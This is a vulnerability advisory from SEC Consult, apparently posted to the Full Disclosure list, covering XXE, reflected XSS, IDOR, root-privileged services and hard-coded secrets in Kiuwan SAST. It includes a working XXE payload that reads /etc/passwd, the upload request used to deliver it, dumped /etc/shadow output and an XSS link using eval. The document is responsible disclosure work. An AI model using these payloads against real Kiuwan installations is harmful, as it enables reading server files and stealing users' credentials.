SEC Consult SA-20240606-0 :: Multiple critical vulnerabilities in Kiuwan SAST on-premise (KOP) & cloud/SaaS & Kiuwan Local Analyzer (KLA)

2024-6-9 15:39:50 Author: seclists.org(查看原文) 阅读量:7 收藏

SEC Consult Vulnerability Lab Security Advisory < 20240606-0 >
=======================================================================
              title: Multiple critical vulnerabilities
            product: Kiuwan SAST on-premise (KOP) & cloud/SaaS
                     Kiuwan Local Analyzer (KLA)
 vulnerable version: Kiuwan SAST <2.8.2402.3
                     Kiuwan Local Analyzer <master.1808.p685.q13371
                     Kiuwan SaaS before 2024-02-05
      fixed version: Kiuwan SAST 2.8.2402.3
                     Kiuwan Local Analyzer master.1808.p685.q13371
                     Kiuwan SaaS after 2024-02-05
         CVE number: CVE-2023-49110, CVE-2023-49111, CVE-2023-49112
                     CVE-2023-49113
             impact: critical
           homepage: https://www.kiuwan.com
              found: 2022-10-28
                 by: C. Schwarz (Office Bochum)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult, an Eviden business
                     Europe | Asia

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Thorough code inspection is essential for designing secure software products.
While your development team may not have time to comb through every line of code,
Kiuwan does. For 20 years, it has been the choice of developers to scan code
automatically and remediate defects according to security standards like OWASP,
CWE, SANS, and CERT.

Static application security testing (SAST) scans for security flaws in the source
code without running the program. It is a white-box testing method that is the
counterpart to dynamic application software testing (DAST), which tests web applications
for run-time vulnerabilities. [...]

Our code vulnerability scanning tools create an all-encompassing process that
begins in the early stages of development and continues into production. Kiuwan’s
static application security testing software fits perfectly into any DevOps environment.
It uses a distributed engine and fast analysis to silently add security without
causing a bottleneck in your workflows. [...]"

Source: https://www.kiuwan.com/code-security-sast/

Business recommendation:
------------------------
The vendor provides a patched version for Kiuwan On-Premise (master.1808.p685.q13371)
which should be installed immediately.

Although initially communicated otherwise during responsible disclosure in 2022-2023
(see timeline below), the vendor confirmed in 2024 that the SaaS/cloud version is affected
and will also be patched. The patch date was 2024-02-05, version 2.8.2402.3.

An in-depth security analysis performed by security professionals is highly advised,
to identify and resolve potential further critical security issues and to verify whether
the developed patches really mitigate the identified critical security issues.

SEC Consult also submitted further security issues to Kiuwan, such as Docker-related
configuration issues which were also fixed during our responsible disclosure.

Vulnerability overview/description:
-----------------------------------
1) XML External Entity Injection (CVE-2023-49110)
When the Kiuwan Local Analyzer uploads the scan results to the web app (either
on-premises or cloud/SaaS solution), the transmitted data consists of a ZIP
archive containing several files, some of them in the XML file format.
During Kiuwan's server-side processing of these XML files, it resolves external
XML entities, resulting in a XML external entity injection attack.

An attacker with privileges to scan source code within the "Code Security"
module is able to extract any files of the operating system with the rights
of the application server user and is potentially able to gain sensitive files,
such as configuration and passwords. Furthermore, this vulnerability also
allows an attacker to initiate connections to internal systems, e.g. for
port scans or accessing other internal functions / applications such as the
Wildfly admin console of Kiuwan.

2) Services running as root
The Kiuwan web app process is configured to run with root privileges. In case
an attacker can compromise the application (such as documented in 1), this
provides them with unrestricted access to the system.

3) Reflected Cross-Site-Scripting (CVE-2023-49111)
For Kiuwan installations with SSO (single sign-on) enabled, an unauthenticated
reflected cross-site scripting attack can be performed on the login page. This
is possible due to some request parameter values being directly included in a
JavaScript block in the response. This is especially critical in business
environments using AD SSO authentication, e.g. via ADFS, where attackers
could potentially steal AD passwords.

4) Insecure Direct Object Reference (CVE-2023-49112)
Kiuwan provides an API endpoint to get information about any application,
providing only its name. This endpoint lacks proper access control mechanisms,
allowing other authenticated users to read information about applications, even
though they have not been granted the necessary rights to do so.

5) Sensitive Data Stored Insecurely (CVE-2023-49113)
The Kiuwan Local Analyzer (KLA) Java application contains several hard-coded secrets in
plain text format. In some cases, this can potentially compromise the confidentiality
of the scan results.

Proof of concept:
-----------------
1) XML External Entity Injection (CVE-2023-49110)
The scan results of the Kiuwan Local Analyzer (KLA) are transmitted to the Kiuwan
server (KOP on-premise or SaaS) using several XML files packed in a ZIP archive. Even
though the initial upload only contains encrypted .bxml files, the server also parses
regular XML files if they are present. A valid result archive with regular XML files
can be obtained by clicking on the analysis code within the analysis log feature in
the web GUI.

[ screenshot xxe1.png ]

Then, any XML file inside this archive can be weaponized with an XXE payload.
The following snippet is taken from a manipulated metrics_python.xml file to
exfiltrate the /etc/passwd file of the server:

<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE replace [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<MetricReport technology='python'>
<ConfidenceFactors>
<GlobalConf>100.0</GlobalConf>
</ConfidenceFactors>
<ResumenGenerico>
---[SNIP]---
<high>100</high>
<unit>%</unit>
<category>documentation</category>
</MetricDefinition>
</MetricDefinitions>
<Items>
<Item id='0' type='system'>metrics: python</Item>
<Item id='1' parent='0' type='program'>&xxe;</Item>
<Item id='2' parent='0' type='program'>plugins/engines/smarty.py</Item>
<Item id='3' parent='0' type='program'>plugins/legacy_engines/__init__.py</Item>
---[SNIP]---

After re-uploading the malicious archive, the server parses the XML files and
triggers the XXE injection. The results of this particular payload can be
found in the files tab of the code security module.

[ screenshot xxe2.png ]

The following PUT request can be used to upload the manipulated ZIP file
(gathered from capturing the request between Kiuwan Local Analyzer and the server):
-----------------------------------------------------------------------------
PUT /saas/rest/v1/applications/analyses/report HTTP/1.1
Content-Type: multipart/form-data; boundary=Boundary_1_215423993_1666774847780
User-Agent: KiuwanLocalAnalyzer/master.1706.p646.q13222 (Java/11.0.16; Linux 5.19.0-kali2-amd64)
Authorization: Basic [...]
X-CSRF-TOKEN: b2a3a08e-3e24-4e43-98e1-870fa4b8279c
X-KW-CORPORATE-DOMAIN-ID: <removed>
MIME-Version: 1.0
Host: KIUWAN_HOST
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Length: 48193

--Boundary_1_215423993_1666774847780
Content-Type: text/plain
Content-Disposition: form-data; name="label"

XXE test
--Boundary_1_215423993_1666774847780
Content-Type: text/plain
Content-Disposition: form-data; name="start"

2022-10-26T09:00:13Z
--Boundary_1_215423993_1666774847780
Content-Type: text/plain
Content-Disposition: form-data; name="applicationId"

123
--Boundary_1_215423993_1666774847780
Content-Type: text/plain
Content-Disposition: form-data; name="qualityModelId"

1
--Boundary_1_215423993_1666774847780
Content-Type: text/plain
Content-Disposition: form-data; name="isDelivery"

false
--Boundary_1_215423993_1666774847780
Content-Type: application/octet-stream
Content-Disposition: form-data; filename="results.zip"; name="reports"

PK [...removed XXE ZIP file contents...]
--Boundary_1_215423993_1666774847780--
-----------------------------------------------------------------------------

[ screenshot xxe3.png ]

2) Services running as root
By abusing the XXE injection documented above to read the "/etc/shadow" file of
the Kiuwan server, it is possible to retrieve its contents:

root:locked::0:99999:7:::
bin:*:17834:0:99999:7:::
daemon:*:17834:0:99999:7:::
adm:*:17834:0:99999:7:::
lp:*:17834:0:99999:7:::
sync:*:17834:0:99999:7:::
shutdown:*:17834:0:99999:7:::
halt:*:17834:0:99999:7:::
mail:*:17834:0:99999:7:::
operator:*:17834:0:99999:7:::
games:*:17834:0:99999:7:::
ftp:*:17834:0:99999:7:::
nobody:*:17834:0:99999:7:::
systemd-network:!!:17870::::::
dbus:!!:17870::::::
jboss:!!:17940::::::

As only root can read this file, it can be concluded that the application server runs
with root privileges. This could also be verified in the docker environment of
Kiuwan on-premises.

3) Reflected Cross-Site-Scripting (CVE-2023-49111)
The XSS injection is possible on the login page of Kiuwan via the message parameter.
To exploit the vulnerability, a victim must click on a link with the following
payload:

https://KIUWAN_HOST/saas/web/login.html?domain=XSS&message=x'%2Beval('alert(document.location)');//&sso=off

The injected JavaScript code is only executed when the victim has a Kiuwan
domain id cached in their web browser's localstorage (SSO-enabled users).

[ screenshot xxs.png ]

4) Insecure Direct Object Reference (CVE-2023-49112)
By directly querying the following API endpoint, an authenticated user with
standard privileges to access the "code security" module can query information
about any other application, even though the permissions have not been assigned
for those specific applications:

https://KIUWAN_HOST/saas/rest/v1/info/application?application=APPLICATION_NAME

5) Sensitive Data Stored Insecurely (CVE-2023-49113)
Several credentials were found in the JAR files of the Kiuwan Local Analyzer.

a) GitHub
The JAR file "lib.engine/insight/optimyth-insight.jar" contains the file
"InsightServicesConfig.properties", which has the configuration tokens
"insight.github.user" as well as "insight.github.password" prefilled with
credentials. At least the specified username corresponds to a valid GitHub
account. SEC Consult did not test those credentials.

b) Encryption Key
The JAR file "lib.engine/insight/optimyth-insight.jar" also contains the file
"es/als/security/Encryptor.properties", in which the key used for encrypting
the results of any performed scan.

Vulnerable / tested versions:
-----------------------------
All tests have been performed on Kiuwan on-premise Version 2.8.2110.2, as well
as the respective Local Analyzer (KLA) version master.1706.p646.q13222.

It was assumed that Kiuwan SaaS/cloud was also affected by the identified vulnerabilities
during initial responsible disclosure.

Originally, the vendor claimed that vulnerability 1) is not exploitable in the SaaS
version as HTTPS certificates are being verified, nevertheless we provided the vendor
with arguments why we still thought that it was exploitable, but because of lacking
test environment this could not be confirmed on our side.

In early 2024 the vendor confirmed that the SaaS version is affected and is also going
to be patched.

Vendor contact timeline:
------------------------
2022-11-08: Contacting vendor through established contacts, sharing detailed
            PDF vulnerability assessment report.
2022-11-11: Sharing this security advisory information in addition.
2022-11-16: Asking for a status update; response that findings were escalated
            internally and they are actively being reviewed.
2022-11-23: Asking for a status update regarding patch availability and whether
            further information is needed.
2022-11-23: Vendor: Analysis complete. Critical issues will be fixed before the end
            of CY23Q1. Lower risk issues will be evaluated for changes during CY23Q1
            with possible implementation during CY23Q2.
2022-11-25: Telling the vendor that XSS should also be fixed earlier as the use of SSO
            bears an even higher risk of stealing enterprise AD credentials.
2022-11-29: Vendor: the team are taking it into consideration.
2023-05-09: Asking for a status update.
2023-05-16: Vendor: the XSS issues will be fixed in the upcoming security update release,
            which is planned in the next two months.
2023-05-17: Asking for a status update for all of the identified issues again.
            Informing vendor about next steps (requesting CVE numbers, etc).
2023-05-31: Vendor response: "all critical issues are being addressed in the next security
            update project", they are furthermore adding more details on the specific
            issues:
            1) XXE - Vendor: affects KOP users more than cloud, as KLA verifies HTTPS
                     certificate of the server and there is no way to download
                     or modify the results as they are encrypted.
                     Vendor quote: "Customers using the KOP installation should take standard
                     measures to protect their private networks from external actors while
                     Kiuwan develops a patch for this issue."
            Our answer: it is a local Java application and HTTPS checks can be bypassed.
                        Encryption key is even stored in the local source code.
            2) Services as root - Vendor: "There is no common exploit for this issue."
            Our answer: yes, the XXE issue or any other code execution + file disclosure
                        issue would be a problem; giving hints to least privileges and
                        providing links to OWASP for further guidance.
            3) XSS - Vendor: only affects SSO-enabled clients. "In this case, standard
                     security policies should be followed for the potentially insecure
                     links sent to those users."
            Our answer: requesting info if this will be fixed or not and stating that
                     SSO-enabled users have an even higher risk of stolen enterprise
                     credentials.
            4) IDOR - Vendor: "only impacts users within the customer's private domain.
                      It means that information is not leaked outside the customer's
                      boundaries"
            Our answer: requesting further info what is meant by "private domain".
                      No response to our question.
            5) Data leakage: "There is no common exploit for this issue."
            Our answer: Yes there is, the encryption key can be used to exploit the
                        documented XXE issue.

2023-06-02: Answering with very detailed statement (see our answers from above) on the why
            the security issues need to be fixed and when the "next security update
            project" is planned to release the patch.
2023-06-13: Vendor proposes call to discuss open questions.
2023-06-21: Conference call, clarifying next steps and that all issues are being worked on.
2023-09-07: Asking for status update
            Vendor response: "development is complete, working through quality control.
            Update planned within the next month."
2023-11-08: Asking for status update, affected/fixed version numbers and how customers
            will be informed.
            Vendor response: team made significant progress, final tests for general
            availability and release by end of November.
2023-11-30: Update from vendor (compliance team): "we are still actively working on
            this update and project this to be ready by the end of December."
2023-12-07: Expressing our concerns and dissatisfaction about the delay again.
            No response.
2024-01-16: Asking once again about the patch status as no information was received and
            the vendor's communicated release date has passed again.
            Furthermore, asked about vendor communication to customers (security note),
            where customers can download the patch and changelog, and that we now plan
            to release the advisory latest within four weeks on 13th February 2024.
2024-01-17: Vendor: escalated our email to product management, provided the following
            schedules for the resolution:
            23-Jan-2024 - Kiuwan Cloud (Kiuwan SaaS)
            31-Jan-2024 - Kiuwan on premise (KOP) release
            No answer regarding customer communication and changelog questions.
2024-01-18: Vendor: confirms the dates again, no input regarding other questions.
2024-01-19: Asking vendor again about version numbers, where to obtain the patch, whether
            all vulnerabilities will be fixed now including SaaS version. No response.
2024-01-23: Communicated patch date for SaaS passed without patch being available nor
            any info from vendor.
2024-01-31: Communicated patch date for KOP passed without patch being available nor
            any info from vendor.
2024-02-05: Asking for a status update and answers to our questions again, assigning
            CVE numbers (CVE-2023-49110, CVE-2023-49111, CVE-2023-49112, CVE-2023-49113)
            and sending them to the vendor. Informing the vendor that we
            will proceed now to release our advisory on 13th February because they are
            non-responsive.
2024-02-05: Vendor: did have delays, cloud security update is released today which fixes
            all identifies issues. KOP update will be scheduled after it goes through QE
            testing. Asking if we have further questions.
2024-02-05: Asking about answers to our previous, still open questions again.
            1) Which version number for KOP is affected and which version will the patch
               have?
            2) How can a customer verify to have the patch installed?
            3) Whether and how/where will your customers be notified about the patch/
               security update?
            4) Where to obtain the patch?
            5) What is this changelog about https://www.kiuwan.com/docs/display/K5/Change+log
               It does not correlate to anything we see in our KOP installation.
2024-02-05: Vendor: the cloud security update has been released today and is in production.
2024-02-05: Vendor answers questions:
            Regarding KOP, several updates are combined with the security release, no ETA
            yet for KOP release, but no significant delay.
            1) version updates will come with the KOP release; currently improving
               versioning, changelogs will begin to contain version numbers.
            2) New baseline version numbers will be released and work forward from there.
            3) Release notes information will be included in the changelog. Informing
               customers will be discussed via Sales and Marketing.
            4) Answer about release notes and changelog which will be more robust and
               versioned. No info regarding where to obtain the patch.
            5) Correlation is being worked on and improved.
2024-02-05: Offering to postpone the advisory release to end of February.
2024-02-12: Vendor: still working an answers to our questions, release dates ready by
            "end of the week".
2024-02-23: Asking for a status update as nearly two weeks have passed; no response.
2024-03-04: Still no response from vendor, starting preparation of advisory release.
            Communicating release date for "early next week".
2024-03-07: Vendor: Apologies for delay, cloud was patched on 6th February. Now
            finalizing release with updates for KOP customers. Already "in final
            stages of testing", release will be available "by end of April at the
            latest", asking to hold off publishing the advisory. Customers will be
            notified through support and/or sales with download link, customers
            can verify updated version by checking changelogs.
2024-03-08: Asking if they mean "end of  April" this year, extending once more.
            Expressing unsatisfactory process again, as Kiuwan already communicated
            back in September 2023 that the patch is ready.
2024-03-11: Vendor confirms end of April this year, extra delay was needed to test
            the patch to meet quality standards for delivery.
2024-04-25: Asking for a status update, so far no download link was provided.
            Wondering why cloud patches get prioritized although KOP users pay
            an additional premium for licensing.
2024-04-29: Vendor: review for upcoming KOP release is finalized, product management
            team will contact us shortly.
2024-05-03: Vendor: Kiuwan On Premise testing finishes by 6th May. If no issues found,
            KOP will be released in week of 13th May.
2024-05-17: Vendor: Download link was planned for today, but technical team faced issues
            to provide a pre-release build for us. Provided changelog, but still no
            fixed version number. Vendor informs us that our reported security
            vulnerabilities were fixed.
2024-05-21: Asking Kiuwan to confirm that our submitted security issues have really
            been fixed (mentioned in changelog from February 2024). Asking for a
            public download link (no pre-release build) and version number.
2024-05-22: Vendor: passed information about five vulnerabilities to Kiuwan team
            for verification, but our five reported issues should be fixed.
            Version number not available before GA release.
            Targeting release for early next week.
2024-06-01: Vendor informs us that a new KOP version was released, provides changelog
            and reference numbers, upgrade guide.
2024-06-06: Coordinated release of security advisory.

Solution:
---------
The vendor provides a patched version master.1808.p685.q13371 which should be installed
immediately. See the changelog from the vendor:

https://www.kiuwan.com/docs/display/K5/%5B2024-05-30%5D+Change+Log

* XML External Entity Injection => CVE-2023-49110 is SAS-6851 fixed on release 2024-02-06
* Services Running as Root => is SAS-6856 and SAS-6857 fixed on release 2024-05-15
* Reflected Cross-site-scripting => CVE-2023-49111 is SAS-6852 fixed on release 2024-02-06
* Insecure Direct Object Reference => CVE-2023-49112 is SAS-6853 fixed on release 2024-02-06
* Sensitive Data Stored Insecurely => CVE-2023-49113 is SAS-6854, SAS-6855, SAS-6858, and SAS-6859 fixed on release 
2024-02-06

The following upgrade guide was provided by the vendor:
https://www.kiuwan.com/docs/display/K5/Kiuwan+On-Premises+Distributed+Upgrade+Guide

Although initially communicated otherwise during responsible disclosure in 2022-2023
(see timeline above), the vendor confirmed in 2024 that the SaaS/cloud version is affected
and will also be patched. The patch date was 2024-02-05, version 2.8.2402.3.

SEC Consult also submitted further security issues to Kiuwan, such as Docker-related
configuration issues which were also fixed during our responsible disclosure.
* Sensitive Data Stored Insecurely for MySQL
* Sensitive Data displayed for wildfly
* Containers Running as root User
* Containers running in the host network
* Exposure of Internal Services

Workaround:
-----------
None

Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Eviden business
Europe | Asia

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Eviden business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: https://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Constantin Schwarz, Johannes Greil / @2024

Full Disclosure mailing list archives

Current thread: